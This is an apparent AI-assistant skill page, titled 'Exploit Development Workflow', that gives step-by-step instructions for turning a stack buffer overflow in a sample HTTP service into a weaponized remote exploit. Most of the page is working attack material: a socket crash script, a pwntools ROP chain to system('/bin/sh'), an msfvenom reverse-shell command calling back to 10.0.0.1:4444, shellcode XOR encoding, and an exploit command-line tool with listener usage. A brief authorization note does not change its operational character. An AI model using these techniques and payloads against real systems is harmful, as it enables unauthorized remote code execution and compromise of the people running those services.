ワンクリックで
exploit-development-workflow
Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
| name | Exploit Development Workflow |
| description | Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization |
| when_to_use | After discovering a vulnerability that requires custom exploit development, when adapting public exploits, or when building proof-of-concept code for zero-day vulnerabilities |
| version | 1.0.0 |
| languages | python, c, assembly, shellcode |
Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.
Core principle: Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.
Use this skill when:
Don't use when:
Goal: Fully understand the vulnerability, its root cause, and exploitation constraints.
Activities:
Root Cause Analysis
# Document the vulnerability
"""
Vulnerability: Buffer Overflow in parse_header()
Root Cause:
- Function: parse_header() in http_parser.c:234
- Issue: strcpy() without bounds checking
- Input: HTTP Host header
- Trigger: Header > 256 bytes
Requirements:
- Network access to service (port 8080)
- No authentication required
- Service runs as root (target for privilege escalation)
Constraints:
- Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
- Stack cookies: DISABLED (binary analysis confirms)
- ASLR: ENABLED on target system
- NX: ENABLED (stack not executable)
"""
Attack Surface Mapping
Environment Setup
# Set up identical testing environment
# - Same OS version
# - Same library versions
# - Same compiler/build flags if possible
# For binary exploitation
gdb-peda target_binary
checksec target_binary
# Check ASLR, NX, stack canaries, PIE
# Install debugging symbols if available
Goal: Trigger the vulnerability reliably and confirm exploitation is possible.
Activities:
Initial Trigger
#!/usr/bin/env python3
# poc_crash.py - Trigger the vulnerability
import socket
import sys
# Target configuration
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080
# Create malicious payload
# Start with pattern to identify offset
payload = b"A" * 300 # Exceeds 256 byte buffer
# Build HTTP request
request = b"GET / HTTP/1.1\r\n"
request += b"Host: " + payload + b"\r\n"
request += b"Connection: close\r\n\r\n"
# Send exploit
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print(f"[*] Sending {len(payload)} byte payload")
s.send(request)
response = s.recv(4096)
print(f"[*] Response: {response[:100]}")
s.close()
print("[+] Payload sent")
Verify Crash
# Run target under debugger
gdb -q ./target_binary
(gdb) run
# In another terminal, run PoC
python3 poc_crash.py
# Check crash details
# - EIP/RIP overwritten?
# - What address is being accessed?
# - Segmentation fault or other error?
Calculate Offset
# Generate cyclic pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
# Update PoC with pattern, trigger crash
# Check crash address in GDB
# Calculate offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
# [*] Exact match at offset 268
Goal: Gain control of execution flow (EIP/RIP control or equivalent).
Activities:
Verify EIP/RIP Control
# Update PoC to verify control
offset = 268
payload = b"A" * offset
payload += b"BBBB" # Should overwrite EIP with 0x42424242
payload += b"C" * (300 - offset - 4)
# Verify in debugger that EIP = 0x42424242
Bypass Security Mitigations
ASLR Bypass:
# Option 1: Info leak to defeat ASLR
# - Leak stack/heap/library address
# - Use leaked address to calculate gadget locations
# Option 2: Partial overwrite (if applicable)
# - Overwrite only last 2 bytes of return address
# - Brute force or use known offsets
# Option 3: ROP chain with known gadgets
# - Find gadgets in non-ASLR executable region
NX Bypass (Non-executable stack):
# Use Return-Oriented Programming (ROP)
# Find gadgets in existing executable code
from pwn import *
# Load binary
elf = ELF('./target_binary')
# Find gadgets
rop = ROP(elf)
# Build ROP chain
# Example: call system("/bin/sh")
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh_addr = next(elf.search(b'/bin/sh'))
system_addr = elf.symbols['system']
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
Test Control Flow
# Verify you can redirect execution
# - Jump to custom shellcode (if NX disabled)
# - Execute ROP chain (if NX enabled)
# - Call arbitrary functions
Goal: Develop payload that achieves exploitation objectives (shell, code execution, etc.).
Activities:
Choose Payload Type
# Common payload types:
# - Bind shell: Open port on target
# - Reverse shell: Connect back to attacker
# - Execute command: Run specific command
# - Download and execute: Fetch second-stage payload
# - Meterpreter/C2 agent: Full-featured backdoor
Generate Shellcode
# Using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 \
LPORT=4444 \
-f python \
-b '\x00\x0a\x0d' \
-v shellcode
# Or write custom shellcode
# - More reliable
# - Smaller size
# - Custom functionality
Handle Bad Characters
# Encode shellcode to avoid bad characters
# Option 1: Alpha-numeric encoding
# Option 2: XOR encoding
# Option 3: Custom encoding with stub
def xor_encode(shellcode, key=0x42):
encoded = b""
for byte in shellcode:
encoded += bytes([byte ^ key])
return encoded
# Prepend decoder stub
decoder_stub = b"\x48\x31\xc0..." # Assembly to decode in memory
encoded_shellcode = xor_encode(shellcode, 0x42)
final_payload = decoder_stub + encoded_shellcode
Goal: Make exploit work consistently across environments and conditions.
Activities:
Handle Timing Issues
# Add appropriate delays
time.sleep(0.5) # Wait for service to process
# Handle slow networks
s.settimeout(10)
# Retry logic
max_retries = 3
for attempt in range(max_retries):
try:
# Attempt exploitation
break
except Exception as e:
if attempt == max_retries - 1:
raise
time.sleep(1)
Environment Detection
def detect_environment():
"""Detect target environment for dynamic exploit adjustment"""
# Banner grabbing
banner = s.recv(1024)
# Parse version info
if b"v2.1" in banner:
return "v2.1_offsets"
elif b"v2.2" in banner:
return "v2.2_offsets"
else:
raise Exception("Unknown version")
# Use environment-specific offsets/addresses
offsets = {
"v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
"v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
}
Error Handling
class ExploitException(Exception):
pass
def exploit(target_ip, target_port):
try:
# Exploitation code
pass
except socket.timeout:
print("[-] Connection timeout - target may be down")
return False
except ConnectionRefusedError:
print("[-] Connection refused - service not running")
return False
except ExploitException as e:
print(f"[-] Exploit failed: {e}")
return False
return True
Goal: Package exploit as professional tool with documentation.
Activities:
Command-Line Interface
#!/usr/bin/env python3
import argparse
def main():
parser = argparse.ArgumentParser(
description='HTTP Parser Buffer Overflow Exploit',
epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
)
parser.add_argument('-t', '--target', required=True,
help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=8080,
help='Target port (default: 8080)')
parser.add_argument('-l', '--lhost', required=True,
help='Listener IP:port for reverse shell')
parser.add_argument('-v', '--verbose', action='store_true',
help='Verbose output')
args = parser.parse_args()
# Parse LHOST:LPORT
lhost, lport = args.lhost.split(':')
# Run exploit
exploit(args.target, args.port, lhost, int(lport), args.verbose)
if __name__ == '__main__':
main()
Comprehensive Documentation
# HTTP Parser Buffer Overflow Exploit
## Vulnerability Details
- CVE: CVE-2024-XXXXX (if applicable)
- Vendor: ExampleCorp
- Product: HTTP Parser v2.1-2.3
- Type: Stack-based buffer overflow
- Impact: Remote Code Execution
## Affected Versions
- HTTP Parser 2.1.0 - 2.3.5
- Fixed in version 2.3.6
## Requirements
- Network access to target HTTP service (default port 8080)
- Python 3.6+
- pwntools library (`pip3 install pwntools`)
## Usage
```bash
# Start listener on attacker machine
nc -lvnp 4444
# Run exploit
python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
The vulnerability exists in parse_header() function which uses unsafe
strcpy() to copy user-supplied Host header into fixed-size stack buffer.
Always test exploits thoroughly:
Local Testing
# Set up isolated test environment
# - Virtual machines
# - Docker containers
# - Separate network segment
Success Criteria
Edge Cases
| Mistake | Impact | Solution |
|---|---|---|
| Skipping root cause analysis | Unreliable exploit | Fully understand vulnerability first |
| Not handling bad characters | Exploit fails | Test for and encode around bad chars |
| Ignoring security mitigations | Exploit doesn't work | Identify and bypass each mitigation |
| Hardcoding addresses | Exploit non-portable | Use relative offsets or info leaks |
| No error handling | Exploit crashes on failure | Add comprehensive error handling |
| Poor documentation | Others can't use/verify | Document thoroughly |
CRITICAL - Always follow these rules:
Authorization Required
Responsible Disclosure
No Malicious Use
Data Protection
Exploitation Frameworks:
Debugging:
Shellcode:
This skill works with:
A successful exploit should:
Systematic approach to analyzing compiled binaries, understanding program behavior, and identifying vulnerabilities without source code access
Methodical approach to finding security vulnerabilities through source code review and static analysis
Systematic approach to discovering novel vulnerabilities through code analysis, fuzzing, and attack surface research
Building effective fuzzing harnesses to maximize code coverage and vulnerability discovery through automated input generation
Techniques for creating and adapting payloads for various exploitation scenarios, target environments, and evasion requirements
Systematic approach to discovering subdomains through passive and active reconnaissance techniques